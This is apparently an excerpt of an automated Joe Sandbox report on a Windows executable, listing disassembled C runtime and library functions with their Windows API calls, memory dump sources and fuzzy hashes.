                                                                                                          • MultiByteToWideChar.KERNEL32(?,004256C5,?,004186BE,00000000,00000000,76F8E860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 004188FC
                                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000001,?,004186BE,?,00000000,?,?,004186BE,?), ref: 00418954
                                                                                                          • LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,004186BE,?), ref: 0041896A
                                                                                                          • LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,004186BE,?), ref: 0041899D
                                                                                                          • LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,004186BE,?), ref: 00418A05
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: String$ByteCharMultiWide
                                                                                                          • String ID:
                                                                                                          • API String ID: 352835431-0
                                                                                                          • Opcode ID: 7893c33c6b407451d02d995758827eecb7b20065fa294207cf6247e34bc0c6e9
                                                                                                          • Instruction ID: 3960beb12fca16cbc5043acf4b8975ab8d8a6698fa07e30ad5f7fd63c5f4fb56
                                                                                                          • Opcode Fuzzy Hash: 7893c33c6b407451d02d995758827eecb7b20065fa294207cf6247e34bc0c6e9
                                                                                                          • Instruction Fuzzy Hash: 14517B71900209EFCF228F95CC45AEF7FB5FF48794F10452AF918A1260C7398991DBAA
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0041750F Relevance: 12.1, APIs: 8, Instructions: 132COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041752A
                                                                                                          • GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041753E
                                                                                                          • GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041756A
                                                                                                          • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175A2
                                                                                                          • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175C4
                                                                                                          • FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175DD
                                                                                                          • GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 004175F0
                                                                                                          • FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041762E
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: EnvironmentStrings$ByteCharFreeMultiWide
                                                                                                          • String ID:
                                                                                                          • API String ID: 1823725401-0
                                                                                                          • Opcode ID: da4329af8d6592d056d9235971ceaca8771b6712013f4c601b47c126e69dc7f4
                                                                                                          • Instruction ID: 0d29547afa55ef8e208fbe3ff43deda8167c9cf171b961166aceb77faed46397
                                                                                                          • Opcode Fuzzy Hash: da4329af8d6592d056d9235971ceaca8771b6712013f4c601b47c126e69dc7f4
                                                                                                          • Instruction Fuzzy Hash: 4A31ADB250D3157ED7207F799C848FBBABDEA49368B11053BF555C3200EA298DC286AD
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00418A6C Relevance: 9.1, APIs: 6, Instructions: 117COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • GetStringTypeW.KERNEL32(00000001,0041BDF8,00000001,?,76F8E860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AAB
                                                                                                          • GetStringTypeA.KERNEL32(00000000,00000001,0041BDF4,00000001,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AC5
                                                                                                          • GetStringTypeA.KERNEL32(?,?,?,?,004186BE,76F8E860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AF9
                                                                                                          • MultiByteToWideChar.KERNEL32(?,004256C5,?,?,00000000,00000000,76F8E860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418B31
                                                                                                          • MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,004186BE,?), ref: 00418B87
                                                                                                          • GetStringTypeW.KERNEL32(?,?,00000000,004186BE,?,?,?,?,?,?,004186BE,?), ref: 00418B99
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: StringType$ByteCharMultiWide
                                                                                                          • String ID:
                                                                                                          • API String ID: 3852931651-0
                                                                                                          • Opcode ID: 3d6b6e16685600d833415d128f0286c3ce565afe4e7b6c7271f7b5a09b5fc09b
                                                                                                          • Instruction ID: e288f18e772608454304c6360a88be647065f5ca3cb36798b5d5ed4d75a3f5a0
                                                                                                          • Opcode Fuzzy Hash: 3d6b6e16685600d833415d128f0286c3ce565afe4e7b6c7271f7b5a09b5fc09b
                                                                                                          • Instruction Fuzzy Hash: B0416DB2600219BFCF208F94DC86EEF7F79EB08794F10442AF915D2250D7389991CBA8
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004158B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • GetVersionExA.KERNEL32 ref: 004158CF
                                                                                                          • GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00415904
                                                                                                          • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00415964
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: EnvironmentFileModuleNameVariableVersion
                                                                                                          • String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
                                                                                                          • API String ID: 1385375860-4131005785
                                                                                                          • Opcode ID: a0a65974b78899c378749041d22a9f94542c4ef0915f209cf1eaea54d79fba9d
                                                                                                          • Instruction ID: 007b09a40ac423c1d447adb87a92c2e34be193f5817f586218815b66d4303cb2
                                                                                                          • Opcode Fuzzy Hash: a0a65974b78899c378749041d22a9f94542c4ef0915f209cf1eaea54d79fba9d
                                                                                                          • Instruction Fuzzy Hash: 403177F1961648EDEF3196709C82BDF3B78DB46324F2400DBD185D6242E6388EC68B1B
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00417641 Relevance: 7.6, APIs: 5, Instructions: 150COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • GetStartupInfoA.KERNEL32(?), ref: 0041769F
                                                                                                          • GetFileType.KERNEL32(?,?,00000000), ref: 0041774A
                                                                                                          • GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 004177AD
                                                                                                          • GetFileType.KERNEL32(00000000,?,00000000), ref: 004177BB
                                                                                                          • SetHandleCount.KERNEL32 ref: 004177F2
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: FileHandleType$CountInfoStartup
                                                                                                          • String ID:
                                                                                                          • API String ID: 1710529072-0
                                                                                                          • Opcode ID: 8c6679148f64bb77278d6d77b9368511d7cfe70b0cd8573ea2dfe0e7b80ae48f
                                                                                                          • Instruction ID: 1521dec5194d53324a877df202082dadc936f581ec6971422c000dc394b087b4
                                                                                                          • Opcode Fuzzy Hash: 8c6679148f64bb77278d6d77b9368511d7cfe70b0cd8573ea2dfe0e7b80ae48f
                                                                                                          • Instruction Fuzzy Hash: 39510B716086458FC7208B28D8847A67BB0FB11378F65866ED5B2C72E0D738A886C759
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00403AA7 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • CharUpperW.USER32(00000000,00000000,?,00000000,00000000,?,00403B6F), ref: 00403AC2
                                                                                                          • GetLastError.KERNEL32(?,00000000,00000000,?,00403B6F), ref: 00403ACE
                                                                                                          • WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,00000004,00000000,00000000,?,00000000,00000000,?,00403B6F), ref: 00403AE9
                                                                                                          • CharUpperA.USER32(?,?,00000000,00000000,?,00403B6F), ref: 00403B02
                                                                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,?,00000001,?,00000000,00000000,?,00403B6F), ref: 00403B15
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: Char$ByteMultiUpperWide$ErrorLast
                                                                                                          • String ID:
                                                                                                          • API String ID: 3939315453-0
                                                                                                          • Opcode ID: 209c94fe8e33f847f2405d3a9712247a1b8bb9216b5908a8917fe0bd7a80c077
                                                                                                          • Instruction ID: 0842cb939f6927aecb542cd9758d214692c03acffe84293a02396fd76ee0080f
                                                                                                          • Opcode Fuzzy Hash: 209c94fe8e33f847f2405d3a9712247a1b8bb9216b5908a8917fe0bd7a80c077
                                                                                                          • Instruction Fuzzy Hash: B30144B65001197ADB20ABE49CC9DEBBA7CDB08259F414572F942A3281E3756E4487B8
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00415523 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • GetLastError.KERNEL32(00000103,7FFFFFFF,00416EEF,00417BBE,00000000,?,?,00000000,00000001), ref: 00415525
                                                                                                          • TlsGetValue.KERNEL32(?,?,00000000,00000001), ref: 00415533
                                                                                                          • SetLastError.KERNEL32(00000000,?,?,00000000,00000001), ref: 0041557F
                                                                                                            • Part of subcall function 00416EFC: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00416FF2
                                                                                                          • TlsSetValue.KERNEL32(00000000,?,?,00000000,00000001), ref: 00415557
                                                                                                          • GetCurrentThreadId.KERNEL32 ref: 00415568
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: ErrorLastValue$AllocCurrentHeapThread
                                                                                                          • String ID:
                                                                                                          • API String ID: 2020098873-0
                                                                                                          • Opcode ID: 86968800811f432393852c2012b1ac292949c56105930e45964c9f1db916a728
                                                                                                          • Instruction ID: cede6b9146d9eee740ee2dfbc4b23865fcca372efd47330e9e203dd76af2c63a
                                                                                                          • Opcode Fuzzy Hash: 86968800811f432393852c2012b1ac292949c56105930e45964c9f1db916a728
                                                                                                          • Instruction Fuzzy Hash: 09F09635A01611BBC7312B74AC096DB3E62EB857A1B51413AF551962A4DB28888196EC
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00417E3A Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 143COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                            • Part of subcall function 0041570A: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415747
                                                                                                            • Part of subcall function 0041570A: EnterCriticalSection.KERNEL32(?,?,?,00416FB2,00000009,00000000,00000000,00000001,00415548,00000001,00000074,?,?,00000000,00000001), ref: 00415762
                                                                                                          • GetCPInfo.KERNEL32(00000000,?,?,00000000,00000000,?,?,00414BA4), ref: 00417E8B
                                                                                                            • Part of subcall function 0041576B: LeaveCriticalSection.KERNEL32(?,00413F70,00000009,00413F5C,00000000,?,00000000,00000000,00000000), ref: 00415778
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CriticalSection$EnterInfoInitializeLeave
                                                                                                          • String ID: +B$WB$WB
                                                                                                          • API String ID: 1866836854-4076192905
                                                                                                          • Opcode ID: ee95e9d0b24a19a0cc788d9683df54c17a7a80f6c3da06404699baeb333cbe61
                                                                                                          • Instruction ID: 91cfe2518806d3d9ee68befd2fe7c4d9c34af4d87c59522c175cbc6726151178
                                                                                                          • Opcode Fuzzy Hash: ee95e9d0b24a19a0cc788d9683df54c17a7a80f6c3da06404699baeb333cbe61
                                                                                                          • Instruction Fuzzy Hash: FC41243164C654AEE720DB24D8853EB7BF1AB05314FB4406BE5488B291CABD49C7C74C
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0041458F Relevance: 6.5, APIs: 5, Instructions: 278COMMON
                                                                                                          Download Yara Rule
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID:
                                                                                                          • String ID:
                                                                                                          • API String ID:
                                                                                                          • Opcode ID: 97048a31ed7e8673145bc5a0b9288faae4c75299d979c6b38067687c3c285a89
                                                                                                          • Instruction ID: b0a20c71c01645f6642c62949d543ab21d76ee58160ce25a59b39075e73dd19d
                                                                                                          • Opcode Fuzzy Hash: 97048a31ed7e8673145bc5a0b9288faae4c75299d979c6b38067687c3c285a89
                                                                                                          • Instruction Fuzzy Hash: 4691E671D01514ABCB21AB69DC85ADEBBB4EFC5764F240227F818B62D0D7398DC1CA6C
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0041659C Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMONLIBRARYCODE
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • HeapAlloc.KERNEL32(00000000,00002020,00420818,00420818,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165BD
                                                                                                          • VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165E1
                                                                                                          • VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000), ref: 004165FB
                                                                                                          • VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000,?), ref: 004166BC
                                                                                                          • HeapFree.KERNEL32(00000000,00000000,?,?,00416A68,00000000,00000010,00000000,00000009,00000009,?,00413F4F,00000010,00000000,?,00000000), ref: 004166D3
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: AllocVirtual$FreeHeap
                                                                                                          • String ID:
                                                                                                          • API String ID: 714016831-0
                                                                                                          • Opcode ID: 3cebd7198669312bdcb80342c8511f4e4e3300f6cdfd7be81cbf94ce20f50e4e
                                                                                                          • Instruction ID: 0af9858cac0a30669fb94f5f64461d90f8de944a7195c69e4f59e8ed45fdce2d
                                                                                                          • Opcode Fuzzy Hash: 3cebd7198669312bdcb80342c8511f4e4e3300f6cdfd7be81cbf94ce20f50e4e
                                                                                                          • Instruction Fuzzy Hash: 983101B0700705EBD3309F24EC45BA2BBE4EB44794F12823AE55597791E778E8818BCC
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00409787 Relevance: 6.1, APIs: 4, Instructions: 98COMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 0040978C
                                                                                                            • Part of subcall function 004095DD: EnterCriticalSection.KERNEL32(?,?,?,00409903), ref: 004095E2
                                                                                                            • Part of subcall function 004095DD: LeaveCriticalSection.KERNEL32(?,?,?,00409903), ref: 004095EC
                                                                                                          • EnterCriticalSection.KERNEL32(?), ref: 004097B9
                                                                                                          • LeaveCriticalSection.KERNEL32(?), ref: 004097D5
                                                                                                          • __aulldiv.LIBCMT ref: 00409824
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CriticalSection$EnterLeave$H_prolog__aulldiv
                                                                                                          • String ID:
                                                                                                          • API String ID: 3848147900-0
                                                                                                          • Opcode ID: 985cff57d02d2bbd00f179e979cdbab89758c627aa779ce2aa11222f2ed784f0
                                                                                                          • Instruction ID: 0a470d0c852558693c62499fef9fcf54cb9603282822d0262474d13d459b1607
                                                                                                          • Opcode Fuzzy Hash: 985cff57d02d2bbd00f179e979cdbab89758c627aa779ce2aa11222f2ed784f0
                                                                                                          • Instruction Fuzzy Hash: D2316076A00219AFCB10EFA1C881AEFBBB5FF48314F00442EE10573692CB79AD45CB64
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004095F7 Relevance: 6.0, APIs: 4, Instructions: 37windowtimeCOMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                            • Part of subcall function 00413260: SetEvent.KERNEL32(00000000,00407649), ref: 00413263
                                                                                                          • GetDlgItem.USER32(?,000003E8), ref: 0040961A
                                                                                                          • LoadIconA.USER32(00000000), ref: 00409634
                                                                                                          • SendMessageA.USER32(?,00000080,00000001,00000000), ref: 00409645
                                                                                                          • SetTimer.USER32(?,00000003,00000064,00000000), ref: 00409654
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: EventIconItemLoadMessageSendTimer
                                                                                                          • String ID:
                                                                                                          • API String ID: 2758541657-0
                                                                                                          • Opcode ID: a2a1fe83cc9e0c6555ab30a5ba5d34d7e9637e7b1c96707fcad98147a719e390
                                                                                                          • Instruction ID: 551790b6ae67963d7c94afa5d69916b6b09ae611f895d6b9f891aac7cfc7161a
                                                                                                          • Opcode Fuzzy Hash: a2a1fe83cc9e0c6555ab30a5ba5d34d7e9637e7b1c96707fcad98147a719e390
                                                                                                          • Instruction Fuzzy Hash: AF010830140B00AFD7219B21DD5AB66BBA1BF04721F008B2DE9A7959E0CB76B951CB48
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

